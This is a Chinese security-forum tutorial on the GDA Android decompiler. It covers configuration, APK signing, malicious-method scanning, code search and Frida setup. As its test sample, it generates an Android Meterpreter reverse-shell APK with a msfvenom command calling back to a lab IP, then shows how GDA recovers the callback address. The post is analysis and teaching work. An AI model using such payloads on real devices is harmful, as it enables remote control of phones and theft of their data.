首页
社区
课程
招聘
[原创]GDA使用手册:案例篇
发表于: 2023-7-31 16:49 7137

[原创]GDA使用手册:案例篇

2023-7-31 16:49
7137

此篇文章以案例角度简单的介绍GDA各功能点如何使用

备注:各功能点深入介绍请前往官网查看分析向导部分

更新日期:2023年7月31日

配置界面

配置向导

选择某项配置后,将鼠标指针移动到左侧空白处会弹出配置提示信息

python:

注意:当前GDA(4.08)需要32位python,示例

 Python 2.7.18 912K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2H3P5i4c8Z5L8$3&6Q4x3X3g2G2M7X3N6Q4x3V1k6X3N6s2m8Q4x3V1k6H3P5i4c8Z5L8$3&6Q4x3V1j5J5i4K6u0W2y4#2)9J5k6e0p5^5i4K6u0r3M7s2W2@1K9r3!0F1i4K6u0V1x3W2)9J5k6e0N6Q4x3X3f1I4z5q4)9J5k6h3#2K6K9b7`.`.

java :

java8:jdk-8u371-windows-i586

744K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2G2M7X3q4U0L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6U0L8W2)9J5c8X3A6S2N6X3q4Q4x3V1k6@1k6h3y4Z5L8X3!0D9L8$3N6A6k6i4y4Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6Q4x3U0y4B7j5i4k6S2z5q4)9J5k6s2N6A6L8X3c8G2N6%4x3`.

生成key

keytool -genkey -v -keystore app.keystore -alias gundam_wing -keyalg RSA -validity 20000

转换key的格式

keytool -importkeystore -srckeystore app.keystore -destkeystore tmp.p12 -srcstoretype JKS -deststoretype PKCS12

将PKCS12格式的key dump为可直接阅读的文本

openssl pkcs12 -in tmp.p12 -nodes -out tmp.rsa.pem

gedit tmp.rsa.pem

提取文本内的内容,根据其内容的标志信息创建两个文件,示例:

my_private.rsa.pem

my.x509.pem

转换,生成pk8格式的私钥

openssl pkcs8 -topk8 -outform DER -in my_private.rsa.pem -inform PEM -out my_private.pk8 -nocrypt

来自Android studio 示例代码:Hello Android

运行效果

申请的权限

恶意信息扫描

发现存在一些可被恶意使用的方法,例如:

Read contacts, SMS or other information

Collect IMEI, phone number, system version, etc

示例:查看与定位

通过GDA显示的代码,辅助分析到源代码相关位置

(名称 附近代码,位置等参考数据)

在kali 系统内,输入如下命令可生成一个具有反射shell功能的APK

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.133 lport=55555 R > shell.apk

攻击机监听

监听中

安装并运行APK后

获取目标机设备信息

可在BaseInfo模块看到一些目标APK的基础信息

可通过点击功能按键查询证书信息或,在识图菜单找到相关查询选项

可筛选内容显示,例如:services,看到此apk可以服务状态运行(Service 是一种可在后台执行长时间运行操作而不提供界面的应用组件。服务可由其他应用组件启动,而且即使用户切换到其他应用,服务仍将在后台继续运行。)

将APK解包并可选择编码格式查询相关信息

可使用adb shell "ps |grep 包名"

根据之前查询的APK包名示例查询如下:输入adb shell "ps |grep com.metasploit.stage"命令查询当前测试设备APK是否正在运行,

如下所示测试APK正在运行

HTTP Connection 

在恶意方法行可双击进入相关代码页面

例如:这里点击了

分析代码,与网络协议相关部分(serverSocket),通过startWith方法判断字符串变量数据是否符合规则,若符合此规则:若字符串以tcp开头,那么将以":"分割该字符串

并将分割后的结果的序号2部分传递给一个变量将其作为端口号数值使用,并在进行分割取值传递给一个变量将其作为IP使用,若条件符合,将创建ServerSocket对象在指定ip、端口进行侦听,关键参数来自Payload.a 

键入快捷键搜索:Ctrl F:

看到赋值语句,点击查看

查看到了反连的IP与端口信息

补充技巧:

全局搜索参数说明

类型---

refstr:搜索字符串(有被引用的字符串)

reffield:搜索类变量(有被引用的变量)

method:搜索方法

class:搜索类名

field:全局搜索类变量

package:包搜索

bin:二进制搜索

Content---

模糊:Payload

精确:"Payload"

正则:~".*Payload.*"

窗口始终显示选项

HTTP Connection 相关

运行Android设备(我这里是在存在GDA机器上运行的Android模拟器)

右键点击如下功能

可在弹窗的窗口看到当前机器的Frida版本信息

提示信息:Android设备未运行frida-server 

使用GDACMD 输入如下命令查询Android设备内核版本信息:

adb shell getprop ro.product.cpu.abi

根据frida与Android设备的内容信息下载相关的frida-server

解压后的文件

输入如下命令将此文件拷贝到Android设备的 /data/local/tmp/目录下并重命名为frida-server

adb push frida-server-16.0.19-android-x86_64 /data/local/tmp/frida-server

可输入如下命令启动frida-server

备注:su 为切换到root权限

左侧右键执行或快捷键F5


[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2023-8-16 07:33 被梦幻的彼岸编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 690
活跃值: (1846)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
2
不错
2023-8-4 07:18
0
雪    币: 2
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
6666看不懂,不明觉厉
2023-12-14 16:56
0
游客
登录 | 注册 方可回帖
返回